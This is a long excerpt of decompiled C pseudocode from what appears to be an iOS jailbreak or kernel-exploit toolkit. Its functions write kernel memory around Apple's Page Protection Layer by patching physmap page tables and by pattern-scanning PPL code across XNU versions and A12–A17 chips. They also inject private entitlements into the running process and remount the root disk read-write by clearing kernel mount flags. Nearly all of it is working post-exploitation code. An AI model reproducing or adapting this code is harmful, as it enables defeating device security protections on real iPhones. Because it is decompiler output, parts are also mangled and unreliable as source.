                            v13 = (a2 + a4 - 1) & ~v11;
                            if ( v12 > v13 )
                            {
                            LABEL_19:
                                return (unsigned int)kwrite_with_retry(a1, a2 - v24 + v25, a3, a4) != 0;
                            }
                            else
                            {
                                while ( (unsigned int)krw_read_thunk((struct_krwCtx *)a1, v25 + v231, 8, &v22) )
                                {
                                    v14 = 1 << ((v12 - v24) >> 14);
                                    if ( (v22 & v14) == 0 )
                                    {
                                        v15 = pgtable_walk_for_physmap((struct_krwCtx *)a1, v25 + v12 - v24, v12);
                                        if ( !v15 )
                                            break;
                                        v22 |= v14;
                                        if ( !(unsigned int)kwrite_with_retry(a1, v25 + v231, (__int64)&v22, 8) )
                                            break;
                                    }
                                    v12 += *(unsigned int *)(a1 + 384);
                                    if ( v12 > v13 )
                                        goto LABEL_19;
                                }
                            }
                        }
                    }
                }
            }
        }
    }
    return 0;
}

//----- (0000000000013304) ----------------------------------------------------
bool __fastcall ppl_physmap_table_patch_write(struct_krwCtx *ctx, mach_vm_address_t vaddr, __int64 newBytes, __int64 size, int a5)
{
  int v10; // w0
  uint64_t pageMask; // x8
  mach_vm_address_t v12; // x24
  __int64 v13; // x27
  uint64_t *v14; // x8
  __int64 v15; // x9
  __int64 v16; // x10
  mach_vm_address_t v17; // x1
  __int64 v18; // x0
  __int64 v19; // x26
  __int64 v20; // x8
  unsigned __int64 v21; // x25
  unsigned __int64 v22; // x0
  int v23; // w0
  uint8_t v25[12]; // [xsp+4h] [xbp-5Ch] BYREF

  v10 = acquire_write_semaphore_lock((__int64)ctx, 5u, 0x2710u);
  if ( !v10 )
  {
    *(uint64_t *)&v25[4] = 0;
    pageMask = ctx->pageMask;
    v12 = vaddr & ~pageMask;
    if ( v12 == ((vaddr + (unsigned int)size - 1) & ~pageMask) )
    {
      if ( ctx->xnuVersionPacked <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
        v13 = 16;
      else
        v13 = 256;
      v14 = &ctx->gap191[161];
      v15 = v13;
      do
      {
        if ( !*v14 )
          break;
        if ( v12 == *v14 )
        {
          v16 = *(v14 - 1);
          if ( v16 )
          {
            v17 = vaddr - v12 + v16;
LABEL_30:
            if ( (unsigned int)kwrite_something(ctx, v17, newBytes, size, a5) )
            {
              v10 = release_write_semaphore_lock((__int64)ctx, 5u);
              return v10 == 0;
            }
            goto LABEL_32;
          }
        }
        v14 += 2;
        --v15;
      }
      while ( v15 );
      if ( !(unsigned int)lookup_physmap_page_slot(ctx, 7u, (__int64 *)&v25[4]) )
        goto LABEL_32;
      if ( *(uint64_t *)&v25[4] )
      {
        if ( !(unsigned int)krw_read_thunk(ctx, *(__int64 *)&v25[4], (unsigned int)(16 * v13), &ctx->gap191[160]) )
          goto LABEL_32;
      }
      else
      {
        *(uint64_t *)v25 = (unsigned int)(16 * v13);
        v18 = alloc_physmap_scratch_page((__int64)ctx, v25);
        *(uint64_t *)&v25[4] = v18;
        if ( !v18 || !(unsigned int)cache_physmap_page_slot((__int64)ctx, 7u, v18) )
          goto LABEL_32;
        bzero(&ctx->gap191[160], (unsigned int)(16 * v13));
      }
      v19 = 2160;
      while ( 1 )
      {
        v20 = *(uint64_t *)&ctx->gap4[v19 + 4];
        if ( !v20 )
          break;
        if ( v12 == v20 )
        {
          v21 = *(uint64_t *)((char *)&ctx->flags + v19);
          if ( v21 )
            goto LABEL_29;
        }
        v19 += 16;
        if ( !--v13 )
          goto LABEL_32;
      }
      *(uint32_t *)v25 = ctx->pageSizeOrSomething;
      v22 = alloc_physmap_page((__int64)ctx, (unsigned int *)v25);
      if ( v22 )
      {
        if ( *(uint32_t *)v25 == ctx->pageSizeOrSomething )
        {
          v21 = v22;
          v23 = pgtable_walk_for_physmap(ctx, v22, v12);
          if ( v23 )
          {
            *(uint64_t *)&ctx->gap4[v19 + 4] = v12;
            *(uint64_t *)((char *)&ctx->flags + v19) = v21;
            if ( (unsigned int)kwrite_with_retry(
                                 (__int64)ctx,
                                 *(uint64_t *)&v25[4] + ((v19 - 2160) & 0xFFFFFFFF0LL),
                                 (__int64)ctx + v19,
                                 16) )
            {
LABEL_29:
              v17 = vaddr - v12 + v21;
              goto LABEL_30;
            }
          }
        }
      }
    }
LABEL_32:
    release_write_semaphore_lock((__int64)ctx, 5u);
    v10 = 708619;
  }
  return v10 == 0;
}
//----- (000000000001353C) ----------------------------------------------------
bool __fastcall get_kwrite_fn(__int64 a1, __int64 *a2, int *a3)
{
  __int64 v6; // x22
  int v7; // w8
  __int64 v9; // x0
  int v10; // w8
  int v11; // w9
  char *v13; // x22
  unsigned __int64 v14; // x9
  __int64 v15; // x0
  __int64 v16; // x23
  unsigned __int64 v17; // x0
  unsigned __int64 v18; // x0
  __int64 v19; // x0
  int v20; // w9
  __int128 v21; // [xsp+0h] [xbp-60h] BYREF
  unsigned __int64 v22; // [xsp+10h] [xbp-50h]
  __int128 v23; // [xsp+18h] [xbp-48h] BYREF
  unsigned __int64 v24; // [xsp+28h] [xbp-38h]

  v6 = *(uint64_t *)(a1 + 6280);
  if ( v6 )
  {
    v7 = *(uint32_t *)(a1 + 6288);
LABEL_3:
    *a2 = v6;
    *a3 = v7;
    return 1;
  }
  v9 = *(uint64_t *)(a1 + 6648);
  v10 = *(uint32_t *)(v9 + 112);
  if ( v10 > 8791 )
  {
    if ( v10 != 8792 && v10 != 8796 )
    {
      v11 = 10002;
LABEL_13:
      if ( v10 != v11 )
      {
        v13 = 0;
        goto LABEL_15;
      }
    }
  }
  else if ( (unsigned int)(v10 - 8019) >= 2 )
  {
    if ( v10 == 6153 )
    {
      v13 = "1F 01 .. EB 20 91 .. FA .. .. 00 54";
      goto LABEL_15;
    }
    v11 = 7195;
    goto LABEL_13;
  }
  v13 = "1F 01 13 EB 20 91 53 FA .. .. 00 54 68 02";
LABEL_15:
  macho_walk_segment_by_name("__PPLTEXT", &v23, v9);
  if ( *(uint64_t *)(a1 + 344) >= XNU_VERSION_PACKED(6153, 102, 2, 0, 0) && *(int *)(a1 + 320) <= 7194 )
  {
    if ( !*((uint64_t *)&v23 + 1) )
      return 0;
    v14 = *(unsigned int *)(a1 + 384);
    if ( v24 <= v14 )
      return 0;
    *((uint64_t *)&v23 + 1) += v14;
    v24 -= v14;
  }
  v21 = v23;
  v22 = v24;
  v15 = kernel_pattern_scan((__int64)&v21, v13, 0);
  if ( v15 )
  {
    v16 = v15;
    v17 = find_kernel_func(*(__int64 **)(a1 + 6648), (__int64 *)(v15 - 16));
    if ( v17 )
      v6 = macho_read_u64_thunk(*(uint64_t *)(a1 + 6648), v17);
    else
      v6 = 0;
    if ( *(int *)(a1 + 320) >= 7195 )
    {
      v18 = find_kernel_func(*(__int64 **)(a1 + 6648), (__int64 *)(v16 - 8));
      if ( !v18 )
        return 0;
      v19 = macho_read_u64_thunk(*(uint64_t *)(a1 + 6648), v18);
      if ( !v19 )
        return 0;
      v7 = v19 - v6;
      if ( !v6 )
        return 0;
LABEL_31:
      v20 = *(uint32_t *)(a1 + 320);
      if ( v20 <= 7194 )
      {
        if ( v20 < 6153 )
        {
          v7 = 589824;
        }
        else if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(6153, 40, 120, 1023, 1023) )
        {
          v7 = 573440;
        }
        else
        {
          v7 = 557056;
        }
      }
      *(uint64_t *)(a1 + 6280) = v6;
      *(uint32_t *)(a1 + 6288) = v7;
      goto LABEL_3;
    }
    v7 = 0;
    if ( v6 )
      goto LABEL_31;
  }
  return 0;
}
// 19B94: using guessed type __int64 __fastcall macho_read_u64_thunk(uint64_t, uint64_t);

//----- (0000000000013750) ----------------------------------------------------
bool __fastcall pgtable_walk_for_physmap(struct_krwCtx *a1, unsigned __int64 a2, unsigned __int64 a3)
{
  unsigned __int64 v6; // x21
  __int64 v8; // x20
  unsigned __int64 v9; // x22
  unsigned __int64 v10; // x21
  struct
  {
    __int128 q0;
    __int128 q1;
    unsigned __int64 q2;
  } v11, v14;

  memset(&v11, 0, sizeof(v11));
  memset(&v14, 0, sizeof(v14));
  if ( pgtable_walk_wrapper((__int64)a1, a3, &v11) )
  {
    asm volatile("" ::: "memory");
    if ( BYTE4(v11.q1) == 3 )
    {
      v6 = v11.q2;
      if ( pgtable_walk_wrapper((__int64)a1, a2, &v14) )
      {
        asm volatile("" ::: "memory");
        if ( BYTE4(v14.q1) == 3 )
        {
          v8 = *(__int64 *)&v14.q0;
          v9 = v14.q2;
          v10 = v14.q2 & 0xFFFF000000003FFFLL | (((v6 >> 14) & 0x3FFFFFFFFLL) << 14);
          if ( ((unsigned int)v10 == (unsigned int)v14.q2 || check_physmap_range_necp(a1, *(__int64 *)&v14.q0, v10))
            && (HIDWORD(v9) == HIDWORD(v10) || check_physmap_range_necp(a1, v8 + 4, SHIDWORD(v10))) )
          {
            semaphore_timedwait_ns((__int64)a1, 0x2710u);
            return 1;
          }
        }
      }
    }
  }
  return 0;
}

//----- (0000000000013844) ----------------------------------------------------
// DONE: matches orig asm shape; x0 carries the bool result from the tail call/callee.
bool __fastcall physmap_table_write_versioned(struct_krwCtx *a1, unsigned __int64 a2, int a3)
{
    int v8; // [xsp+1Ch] [xbp-24h] BYREF
    unsigned __int64 v7; // [xsp+10h] [xbp-30h] BYREF
    unsigned int v6; // [xsp+Ch] [xbp-34h] BYREF
    __int64 vars8; // [xsp+48h] [xbp+8h]

    v8 = a3;
    v7 = 0;
    v6 = 0;
    if ( !krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) ) return 0;
    if ( a1->xnuVersionPacked >= (uint64_t)XNU_VERSION_PACKED(8019, 0, 0, 0, 0) )
        return check_physmap_range_necp(a1, a2, a3);
    if ( !get_kwrite_fn((__int64)a1, (__int64 *)&v7, (int *)&v6) )
        return 0;
    if ( v7 <= a2 && a2 + 4 <= v7 + v6 ) {
        return necp_kread_region((__int64)a1, a2, (__int64)&v8, 4);
    }
    return check_physmap_range_necp(a1, a2, a3);
}

//----- (0000000000013924) ----------------------------------------------------
bool __fastcall check_physmap_range_necp(struct_krwCtx *a1, unsigned __int64 a2, int a3)
{
  unsigned __int64 xnuVersionPacked; // x8
  int v8; // w0
  bool a13PlusUsesNewNecpPath; // w0
  bool a15PlusUsesNewNecpPath; // w0
  bool a13PlusUsesIogpuPath; // w0
  bool a15PlusUsesIogpuPath; // w0

  xnuVersionPacked = a1->xnuVersionPacked;
  a13PlusUsesNewNecpPath = krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A13_A14_A15_A16_A17_MASK)
                         && (xnuVersionPacked > XNU_VERSION_PACKED(10002, 0, 198, 1023, 1023)
                          || (xnuVersionPacked > XNU_VERSION_PACKED(8796, 142, 0, 1023, 1023) && a1->xnuMajorVersion < 10002));
  a15PlusUsesNewNecpPath = krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A15_A16_A17_MASK)
                         && (xnuVersionPacked > XNU_VERSION_PACKED(10002, 0, 115, 1023, 1023)
                          || (xnuVersionPacked > XNU_VERSION_PACKED(8796, 122, 4, 1023, 1023) && a1->xnuMajorVersion <= 10001));
  if ( a13PlusUsesNewNecpPath || a15PlusUsesNewNecpPath )
  {
    v8 = pgtable_locked_kwrite32_retry((__int64)a1, a2, a3);
    return v8 == 0;
  }

  a13PlusUsesIogpuPath = krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A13_A14_A15_A16_A17_MASK)
                       && (xnuVersionPacked > XNU_VERSION_PACKED(10002, 0, 198, 1023, 1023)
                        || (xnuVersionPacked > XNU_VERSION_PACKED(8796, 142, 0, 1023, 1023) && a1->xnuMajorVersion < 10002));
  a15PlusUsesIogpuPath = krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A15_A16_A17_MASK)
                       && (xnuVersionPacked > XNU_VERSION_PACKED(10002, 0, 115, 1023, 1023)
                        || (xnuVersionPacked > XNU_VERSION_PACKED(8796, 122, 4, 1023, 1023) && a1->xnuMajorVersion < 10002));
  if ( a13PlusUsesIogpuPath || a15PlusUsesIogpuPath )
  {
    if ( xnuVersionPacked > XNU_VERSION_PACKED(10002, 42, 7, 1023, 1023) )
      return 0;
    v8 = iogpu_kernel_read_op((__int64)a1, a2, a3);
    return v8 == 0;
  }
  v8 = dmaFail_physwrite32(a1, a2, a3);
  return v8 == 0;
}

//----- (0000000000013AE4) ----------------------------------------------------
__int64 __fastcall ppl_kwritebuf(__int64 ctx, unsigned __int64 vaddr, void *newBytes, int size)
{
  __int64 v8; // x20
  char v9; // w23
  unsigned int v10; // w26
  mach_vm_address_t vaddr_; // x25
  unsigned int v12; // w9
  size_t size_; // x24
  unsigned int v14; // w28
  char *newBytes_; // x26
  int v16; // w0
  vm_address_t address; // [xsp+8h] [xbp-58h] BYREF

  if ( vm_allocate(mach_task_self_, &address, *(unsigned int *)(ctx + 384), 1) )
    return 0;
  v9 = kaddr_need_ppl_bypass(ctx, vaddr);
  v10 = 0;
  while ( 1 )
  {
    vaddr_ = vaddr + v10;
    v12 = *(uint32_t *)(ctx + 384) - (vaddr_ & *(uint32_t *)(ctx + 392));
    size_ = size - v10 <= v12 ? size - v10 : v12;
    if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)ctx, vaddr + v10, size_, (void *)address) )
      break;
    v14 = v10;
    newBytes_ = (char *)newBytes + v10;
    if ( memcmp((const void *)address, newBytes_, size_) )
    {
      v16 = ppl_kwritebuf_nocheck(ctx, vaddr_, (__int64)newBytes_, size_, v9, 0);
      if ( !v16 )
        break;
    }
    v10 = size_ + v14;
    if ( (uint32_t)size_ + v14 == size )
    {
      v8 = 1;
      goto LABEL_13;
    }
  }
  v8 = 0;
LABEL_13:
  vm_deallocate(mach_task_self_, address, *(unsigned int *)(ctx + 384));
  return v8;
}
// 13BC4: variable 'v16' is possibly undefined

//----- (0000000000013C14) ----------------------------------------------------
bool __fastcall kaddr_need_ppl_bypass(__int64 ctx, unsigned __int64 vaddr)
{
  uint64_t result; // x0
  __int64 v5; // x8
  unsigned __int64 v6; // x9

  result = 1;
  if ( !map_physpage_to_user(ctx, vaddr, 0, vaddr) )
  {
    v5 = *(uint64_t *)(ctx + 6648);
    if ( !v5 )
      return 0;
    v6 = *(uint64_t *)(v5 + 224);
    if ( v6 > vaddr || *(uint64_t *)(v5 + 232) + v6 <= vaddr )
      return 0;
  }
  return result;
}

//----- (0000000000013C78) ----------------------------------------------------
bool __fastcall ppl_kwritebuf_nocheck(
        __int64 ctx,
        mach_vm_address_t vaddr,
        __int64 newBytes,
        __int64 size,
        char pplBypass,
        int a6)
{
  __int64 v10; // x8
  mach_vm_address_t v11; // x1
  struct
  {
    unsigned __int64 base;
    unsigned __int8 gap8[12];
    unsigned __int8 prot;
    unsigned __int8 gap15[11];
    __int64 flags;
  } regionInfo; // [xsp+8h] [xbp-58h] BYREF
  __int64 vars8; // [xsp+68h] [xbp+8h]

  if ( vaddr )
  {
    if ( newBytes )
    {
      if ( (uint32_t)size )
      {
        v10 = *(uint64_t *)(ctx + 392);
        v11 = vaddr & ~v10;
        if ( v11 == ((vaddr + (unsigned int)size - 1) & ~v10) )
        {
          if ( (pplBypass & 1) != 0 )
          {
            return ppl_physmap_table_patch_write((struct_krwCtx *)ctx, vaddr, newBytes, size, a6);
          }
          else
          {
            memset(&regionInfo, 0, sizeof(regionInfo));
            if ( pgtable_walk_wrapper(ctx, v11, &regionInfo) && (regionInfo.prot | 2) == 3 )
            {
              if ( (regionInfo.flags & 0x80) != 0 )
              {
                if ( !physmap_table_write_versioned((struct_krwCtx *)ctx, regionInfo.base, regionInfo.flags & 0xFFFFFF7F) )
                  return 0;
                semaphore_timedwait_ns(ctx, 0x2710u);
              }
              return (unsigned int)kwrite_something((struct_krwCtx *)ctx, vaddr, newBytes, size, a6) != 0;
            }
          }
        }
      }
    }
  }
  return 0;
}

//----- (0000000000013D9C) ----------------------------------------------------
bool __fastcall ppl_kwrite_physmap_checked(struct_krwCtx *a1, unsigned __int64 a2, __int64 a3)
{
    char v6; // w0
    unsigned __int64 v7; // [xsp+0h] [xbp-30h] BYREF
    __int64 v8; // [xsp+8h] [xbp-28h] BYREF
    
    v8 = a3;
    if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) && kread_physmap_decorated(a1, a2, &v7) )
    {
        if ( v7 == a3 )
            return true;
        v6 = kaddr_need_ppl_bypass((__int64)a1, a2);
        return ppl_kwritebuf_nocheck((__int64)a1, a2, (__int64)&v8, (unsigned int)a1->stride168, v6, 1);
    }
    return false;
}

//----- (0000000000013E38) ----------------------------------------------------
__int64 __fastcall kwrite_something(struct_krwCtx *a1, mach_vm_address_t a2, __int64 a3, __int64 a4, int a5)
{
  __int64 result; // x0
  __int64 v6; // [xsp+8h] [xbp-18h] BYREF

  if ( !a5 || a1->stride168 != (uint32_t)a4 )
  {
    result = kwrite_with_retry((__int64)a1, a2, a3, a4);
    if ( !(uint32_t)result )
      return result;
    return 1;
  }
  v6 = 0;
  __memcpy_chk(&v6, (const void *)a3, (unsigned int)a4, 8);
  result = kwrite64(a1, a2, v6);
  if ( (uint32_t)result )
    return 1;
  return result;
}

//----- (0000000000013EBC) ----------------------------------------------------
__int64 __fastcall get_root_statfs(__int64 ctx, int *outIsReadWrite)
{
  char *v3; // x20
  int isReadWrite; // w8
  __int16 v6; // [xsp+Eh] [xbp-8D2h] BYREF
  char mnt1[48]; // [xsp+10h] [xbp-8D0h] BYREF
  struct statfs v8; // [xsp+40h] [xbp-8A0h] BYREF

  bzero(&v8, 0x878u);
  v6 = 47;
  strcpy(mnt1, "/private/var/MobileSoftwareUpdate/mnt1");
  if ( check_root_fs_mounted(0) )
    v3 = mnt1;
  else
    v3 = (char *)&v6;
  if ( statfs(v3, &v8) )
  {
    if ( errno != 2 )
      return 0;
  }
  else if ( !(*(uint64_t *)v8.f_mntfromname ^ 'sid/ved/' | *(uint64_t *)&v8.f_mntfromname[7] ^ '1s1s0ks')
         && !strcmp(v3, v8.f_mntonname) )
  {
    isReadWrite = (v8.f_flags & MNT_RDONLY) == 0;
    goto LABEL_10;
  }
  isReadWrite = 3;
LABEL_10:
  *outIsReadWrite = isReadWrite;
  return 1;
}

//----- (0000000000013FF8) ----------------------------------------------------
bool __fastcall check_iogpu_krw_ready_3(struct_krwCtx *a1, char *a2)
{
  int v3; // w8
  uint64_t v4; // x21
  __int64 v5; // x21
  int v6; // w0
  int v7; // w20
  __int64 v8; // x0
  int v10; // [xsp+4h] [xbp-2Ch] BYREF
  __int64 v11; // [xsp+8h] [xbp-28h] BYREF

  v10 = 0;
  v3 = a1->xnuMajorVersion;
  if ( (unsigned int)(v3 - 8019) < 2 )
  {
    v5 = 608;
  }
  else if ( v3 == 6153 )
  {
    v5 = 520;
  }
  else
  {
    v4 = 0;
    if ( v3 != 7195 )
      return v4;
    if ( a1->xnuVersionPacked <= XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023) )
      v5 = 536;
    else
      v5 = 512;
  }
  v6 = open(a2, 0x100000);
  if ( v6 < 0 )
    return 0;
  v7 = v6;
  v8 = ((__int64 (__fastcall *)(uint32_t *))get_kernel_base_physmap)(a1);
  v11 = v8;
  if ( v8
    && kread_physmap_decorated(a1, v8 + v5, (unsigned __int64 *)&v11)
    && validate_kaddr_range((__int64)a1, v11)
    && kread_physmap_decorated(a1, v11 + 224, (unsigned __int64 *)&v11)
    && validate_kaddr_range((__int64)a1, v11)
    && (unsigned int)krw_read_thunk(a1, v11 + 48, 4, &v10) )
  {
    v10 &= ~0x4000u;
    v4 = (unsigned int)kwrite_with_retry((__int64)a1, v11 + 48, (__int64)&v10, 4) != 0;
  }
  else
  {
    v4 = 0;
  }
  close(v7);
  return v4;
}

//----- (0000000000014164) ----------------------------------------------------
__int64 __fastcall get_kernel_base_physmap(struct_krwCtx *a1, int a2)
{
  int xnuMajorVersion; // w8
  __int64 result; // x0
  __int64 v7; // [xsp+8h] [xbp-18h] BYREF

  xnuMajorVersion = a1->xnuMajorVersion;
  if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 && xnuMajorVersion != 7195 && xnuMajorVersion != 6153 )
    return 0;
  result = get_kbase_from_fileport(a1, a2);
  if ( !result )
    return result;
  v7 = result + 2296;
  if ( !kread_physmap_decorated(a1, result + 2296, (unsigned __int64 *)&v7) )
    return 0;
  if ( validate_kaddr_range((__int64)a1, v7) )
    return v7;
  return 0;
}

//----- (00000000000141F0) ----------------------------------------------------
__int64 __fastcall check_root_disk_identity(struct_krwCtx *a1)
{
  __int64 result; // x0
  unsigned int v3; // w20
  int v4; // w0
  char v6[2]; // [xsp+6h] [xbp-8CAh] BYREF
  struct statfs v7; // [xsp+8h] [xbp-8C8h] BYREF
  char v8[40]; // [xsp+880h] [xbp-50h] BYREF

  strcpy(v6, "/");
  strcpy(v8, "/private/var/MobileSoftwareUpdate/mnt1");
  bzero(&v7, 0x878u);
  if ( statfs(v6, &v7) )
    return 0;
  result = add_rw_to_disk(a1, v6, "/dev/disk0s1s1");
  if ( (uint32_t)result )
  {
    v3 = 0;
    do
    {
      usleep(0x186A0u);
      v4 = check_path_on_disk0s1s1(v8);
      if ( !v4 )
        break;
    }
    while ( v3++ < 0x32 );
    if ( !v4 )
      return 1;
    add_rw_to_disk(a1, v6, v7.f_mntfromname);
    return 0;
  }
  return result;
}

//----- (00000000000142F8) ----------------------------------------------------
__int64 __fastcall add_rw_to_disk(struct_krwCtx *a1, const char *a2, const char *a3)
{
  int v6; // w8
  size_t v9; // x0
  int v10; // w22
  int v11; // w0
  int v12; // w21
  __int64 v13; // x0
  __int64 v14; // x23
  __int64 arg_1; // x19
  int v17; // [xsp+Ch] [xbp-8B4h] BYREF
  struct statfs v18; // [xsp+10h] [xbp-8B0h] BYREF

  bzero(&v18, 0x878u);
  v17 = 0;
  v6 = a1->xnuMajorVersion;
  if ( (unsigned int)(v6 - 8019) >= 2 && v6 != 7195 && v6 != 6153 )
    return 0;
  if ( statfs(a2, &v18) )
    return 0;
  v9 = strlen(a3);
  if ( v9 > 0x3FF )
    return 0;
  v10 = v9;
  v11 = open(a2, 0);
  if ( v11 < 1 )
    return 0;
  v12 = v11;
  v13 = ((__int64 (__cdecl *)())get_kbase_from_fileport)();
  if ( v13
    && (v14 = v13 + 1252, (unsigned int)krw_read_thunk(a1, v13 + 1252, 4, &v17))
    && v17 == *(uint32_t *)v18.f_mntfromname )
  {
    arg_1 = kwrite_with_retry((__int64)a1, v14, (__int64)a3, (unsigned int)(v10 + 1));
  }
  else
  {
    arg_1 = 0;
  }
  close(v12);
  return arg_1;
}

//----- (0000000000014444) ----------------------------------------------------
bool __fastcall check_path_on_disk0s1s1(const char *a1)
{
  struct statfs v3; // [xsp+0h] [xbp-8A0h] BYREF

  bzero(&v3, 0x878u);
  if ( statfs(a1, &v3) )
  {
    __error();
  }
  else if ( !(*(uint64_t *)v3.f_mntfromname ^ 0x7369642F7665642FLL | *(uint64_t *)&v3.f_mntfromname[7] ^ 0x31733173306B73LL) )
  {
    return strcmp(a1, v3.f_mntonname) == 0;
  }
  return 0;
}

//----- (0000000000014524) ----------------------------------------------------
__int64 __fastcall check_mount_thread_info(struct_krwCtx *a1, int a2)
{
  int v4; // w21
  char *v5; // x0
  const char *v6; // x1
  char v7; // w2
  __int64 v8; // x20
  struct_krwCtx *v9; // x0
  int v10; // w1
  const char *v11; // x8
  int v12; // w20
  int v13; // w21
  int v14; // w0
  int v16; // w0
  char v18[3]; // [xsp+4h] [xbp-8Ch] BYREF
  bool v19; // [xsp+7h] [xbp-89h] BYREF
  struct statfs *v20; // [xsp+8h] [xbp-88h] BYREF
  char __s1[39]; // [xsp+10h] [xbp-80h] BYREF
  const char *v22[6]; // [xsp+38h] [xbp-58h] BYREF

  v19 = 0;
  strcpy(__s1, "/private/var/MobileSoftwareUpdate/mnt1");
  strcpy(v18, "/");
  krw_ctx_set_flag(a1, KRW_CTX_FLAG_SNAPSHOT_MOUNTED);
  if ( !(unsigned int)get_mach_thread_info(
                        a1,
                        mach_task_self_,
                        "<dict><key>com.apple.private.vfs.snapshot</key><true/></dict>",
                        0,
                        8) )
    return 0;
  if ( !(unsigned int)check_necp_kread_available() )
    return 0;
  v4 = check_root_fs_mounted(&v19);
  if ( v4 && !v19 && !(unsigned int)check_root_disk_identity(a1) )
    return 0;
  if ( a2 == 4 || a2 == 2 )
  {
    if ( !v4 )
    {
      v7 = a2 == 4;
      v6 = "orig-fs";
      v5 = v18;
LABEL_18:
      v8 = check_and_copy_file_paths(v5, v6, v7);
      if ( !(uint32_t)v8 )
        return v8;
      goto LABEL_21;
    }
    if ( !check_path_on_disk0s1s1(__s1) )
    {
      v8 = 1;
LABEL_21:
      krw_ctx_clr_flag(a1, 1024);
      return v8;
    }
    if ( (unsigned int)check_disk0s1s1_path(a1, __s1) )
    {
      v5 = __s1;
      v6 = 0;
      v7 = 0;
      goto LABEL_18;
    }
    return 0;
  }
  if ( !v4 )
  {
    if ( a2 == 1 )
    {
      if ( !(unsigned int)enumerate_file_paths(v18, "orig-fs") )
        return 0;
      v9 = a1;
      v10 = 1;
    }
    else
    {
      v9 = a1;
      v10 = 0;
    }
    return get_mount_disk_info(v9, v10);
  }
  if ( check_path_on_disk0s1s1(__s1) )
  {
    if ( a2 == 1 )
    {
      if ( !(unsigned int)enumerate_file_paths(__s1, 0) )
        return 0;
      return (unsigned int)get_kernel_load_addr_bsm((__int64)"/dev/disk0s1s1", __s1, 0x110000u) == 0;
    }
    return check_disk0s1s1_path(a1, __s1);
  }
  if ( !(unsigned int)add_rw_to_disk(a1, v18, "/dev/disk0s1s1") )
    return 0;
  v11 = "rdonly,nobrowse";
  v20 = 0;
  v22[0] = "/sbin/mount_apfs";
  v22[1] = "-o";
  if ( a2 == 1 )
    v11 = "nobrowse";
  v22[2] = v11;
  v22[3] = "/dev/disk0s1s1";
  v22[4] = __s1;
  v22[5] = 0;
  if ( !memcmp(__s1, "/private/var/MobileSoftwareUpdate", 0x21u)
    && mkdir("/private/var/MobileSoftwareUpdate", 0x1FFu)
    && errno != 17 )
  {
    return 0;
  }
  if ( !(unsigned int)krw_inject_entitlements_maybe(
                        a1,
                        mach_task_self_,
                        "<dict><key>com.apple.private.security.disk-device-access</key><true/></dict>") )
    return 0;
  v12 = mkdir(__s1, 0x1FFu);
  if ( v12 )
  {
    if ( errno != 17 )
      return 0;
  }
  if ( a1->xnuMajorVersion >= 6153 && chown(__s1, 0x1F5u, 0x1F5u) )
    return 0;
  v13 = 6;
  while ( 1 )
  {
    v14 = posix_spawn_with_sigdefault(v22);
    if ( v14 != 49 )
      break;
    getmntinfo(&v20, 0);
    usleep(0xC8u);
    if ( !--v13 )
      goto LABEL_47;
  }
  if ( !v14 )
  {
    v16 = check_path_on_disk0s1s1(__s1);
    goto LABEL_48;
  }
LABEL_47:
  v16 = 0;
LABEL_48:
  if ( !(v16 | v12) )
  {
    rmdir(__s1);
    return 0;
  }
  if ( !v16 )
    return 0;
  if ( !check_iogpu_krw_ready_3(a1, v18) || (v8 = enumerate_file_paths(__s1, 0), !(uint32_t)v8) )
  {
    check_disk0s1s1_path(a1, __s1);
    return 0;
  }
  return v8;
}

//----- (00000000000148A4) ----------------------------------------------------
__int64 __fastcall check_disk0s1s1_path(struct_krwCtx *a1, char *a2)
{
  __int64 result; // x0
  int v5; // [xsp+Ch] [xbp-14h] BYREF

  v5 = 0;
  result = validate_physmap_range_4(a1, a2, 1, (unsigned int *)&v5);
  if ( (uint32_t)result )
  {
    if ( (unsigned int)get_kernel_load_addr_bsm((__int64)"/dev/disk0s1s1", a2, 0x110001u) )
    {
      validate_physmap_range_4(a1, a2, v5, 0);
      return 0;
    }
    else
    {
      return 1;
    }
  }
  return result;
}

//----- (0000000000014920) ----------------------------------------------------
__int64 __fastcall get_mount_disk_info(struct_krwCtx *a1, int a2)
{
  unsigned int v4; // w0
  __int64 v5; // x24
  char *f_mntonname; // x21
  unsigned __int64 v7; // x23
  int v8; // w0
  __int64 v9; // x24
  int v10; // w21
  int v11; // w0
  int v12; // w22
  int xnuMajorVersion; // w8
  __int64 v14; // x0
  int v15; // w0
  int v16; // w24
  int v17; // w2
  int v18; // w0
  int v20; // [xsp+0h] [xbp-50h] BYREF
  int v21; // [xsp+4h] [xbp-4Ch] BYREF
  struct statfs *v22; // [xsp+8h] [xbp-48h] BYREF

  v22 = 0;
  v4 = getmntinfo(&v22, 0);
  if ( v4 )
  {
    v5 = v4;
    f_mntonname = v22->f_mntonname;
    v7 = 1;
    do
    {
      if ( !strcmp("/", f_mntonname) )
        v7 = *(f_mntonname - 24) & 1;
      f_mntonname += 2168;
      --v5;
    }
    while ( v5 );
  }
  else
  {
    v7 = 1;
  }
  v8 = check_root_is_apfs();
  v21 = 0;
  if ( ((v7 & 1) == 0) == a2 )
    return 1;
  v10 = v8;
  if ( a2 )
  {
    v11 = open("/", 0);
    if ( v11 == -1 )
      return 0;
    v12 = v11;
    xnuMajorVersion = a1->xnuMajorVersion;
    if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 && xnuMajorVersion != 7195 && xnuMajorVersion != 6153 )
      return 0;
    v14 = get_kbase_from_fileport(a1, v11);
    v9 = 0;
    if ( !v14 )
      return v9;
    v7 = v14 + 112;
    if ( v14 == -112 )
      return v9;
    if ( !kread_u32((__int64)a1, v7, &v20) )
      return 0;
    v20 &= ~0x4000u;
    if ( !noppl_kwrite32((__int64)a1, v7, v20) )
      return 0;
    v15 = open("/", 0);
    if ( (v15 & 0x80000000) == 0 )
    {
      v16 = v15;
      LODWORD(v22) = 0;
      ffsctl(v15, 0x80046814, &v22, 0);
      LODWORD(v22) = 1;
